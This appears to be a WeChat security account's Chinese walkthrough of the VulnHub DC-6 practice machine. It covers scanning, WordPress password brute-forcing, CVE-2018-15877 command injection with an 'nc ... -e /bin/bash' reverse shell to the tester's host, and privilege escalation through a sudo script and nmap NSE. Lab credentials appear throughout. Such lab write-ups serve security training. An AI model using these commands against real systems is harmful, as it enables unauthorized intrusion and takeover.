点击蓝字 关注我们

添加星标不迷路

由于公众号推送规则改变，微信头条公众号信息会被折叠，为了避免错过公众号推送，请大家动动手指设置“星标”，设置之后就可以和从前一样收到推送啦

DC-6打靶记录

靶机获取地址

https://www.vulnhub.com/entry/dc-6,315/

信息收集

ip探测

arp-scan -l

发现目标ip为192.168.111.243

端口探测

nmap -A -p 1-65535 192.168.111.243

探测目标端口为22（ssh）,80（http）。

ssh爆破

用超级弱口令工具或者hydra爆破

并没有爆破出来

漏洞利用

所以只能走80端口

又是一个wordpress网站

然后就尝试在

searchsploit wordpress 5.1.1

还有msf上面就没有可利用的 然后想想它既然有那么多插件 会不会从插件上面找带切入点

于是利用wpscan老牌劲旅来查找可利用点

wpscan --url http://wordy/ -e ap -e vt -e u   枚举用户名，主题，插件漏洞

有一个主题twentyseventeen

没有扫出来插件

而且主页面翻译之后也说他们最安全的插件什么什么的

查看主题是否有漏洞

searchsploit twentyseventeen

然而并没有鹅

这时候看见靶机主界面有

根据这个提示 很有可能需要我们爆破后台

cat ./rockyou.txt | grep k01 > passwords.txt

然后把我们上面枚举出来的用户名放在1.txt文件夹里面

用wpscan去爆破

成功跑出来

mark / helpdesk01

访问
http://wordy/wp-login.php

成功登录

getshell

后来查资料发现

存在cve-2018-15877 命令执行

然后就去

searchsploit wordpress Activity Monitor

然而第一个不能用，第二个获取的shell不稳定 执行特殊命令直接就掉了

尝试在msf上面搜

然而这个是获取不了shell 无果 继续在网上找

查cve相关知识

发现输入框这里抓包就能执行命令

输入东西 然后点击 LOOKUP 抓包

在这里输入命令

nc 192.168.111.129 9999 -e sh

然后在kali上面输入

nc -lvp 9999

但是不知道为什么一连接就会掉

后来把nc的命令改成了

nc 192.168.111.129 9999 -e /bin/bash

就好了

然后用

python2 -c 'import pty;pty.spawn("/bin/bash")'

提供shell

提权

登录数据库

因为worepress 有配置数据库配置文件 其位于worepress的根目录下（/var/www/html）

cd /var/www/html
ls
cat wp-config.php

里面有数据库的配置文件 账号密码之类的

看样子mysql数据库只允许本地登录

尝试登录上去

mysql -u wpdbuser -p

meErKatZ

然后一步步的 搜数据库 表名 列名 具体数据

然而有 wpscan枚举的用户名 和对应密码 只不过都加密了

无果

然后这时候想到能不能用su 切换用户到mark

su mark

helpdesk01

总而言之就是登录不上去

然后"经典提权三步走"

查看具有sudo权限的二进制文件

sudo -l

要密码 寄

查看具有suid权限的二进制文件

find / -perm -u=s -type f 2>/dev/null

好像都不能用 emmm

经典的

cat /etc/passwd

查看/home目录下的各用户下的文件

cat /home/jens

是个文件夹

查看里面的东西

ls /home/jens

发现有个文件

ls -la  /home/jens

所属于jens 但是我们能看 (里面东西我改了，也没啥有用的）

继续尝试查看home目录下其他用户的文件

/home/mark下面有个stuff文件夹

继续查看

里面有添加的新用户

graham/GSo7isUM1D4

登录上去查看查看

经典sudo -l

发现graham在上面发现的backups.sh，graham有jens的权限

同时查看id

graham跟jens还是一个用户组

cd /home/jens

现在利用该文件然后切换为jens用户

echo "/bin/bash" > b*
sudo -u jens ./*

正常来说 sudo -u jens 执行./* 需要jens的密码 然后以jens的权限执行文件

但是对于本用户来说 jens 并不需要密码就能执行这个文件

继续sudo -l

jens能够以root权限无密码执行nmap

查看nmap版本

nmap -v

7.40

交互模式在版本 2.02 至 5.21 上可用

所以需要换个

TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF

获取Flag

联系方式

电话｜010-86460828 

官网｜https://sechub.com.cn

关注我们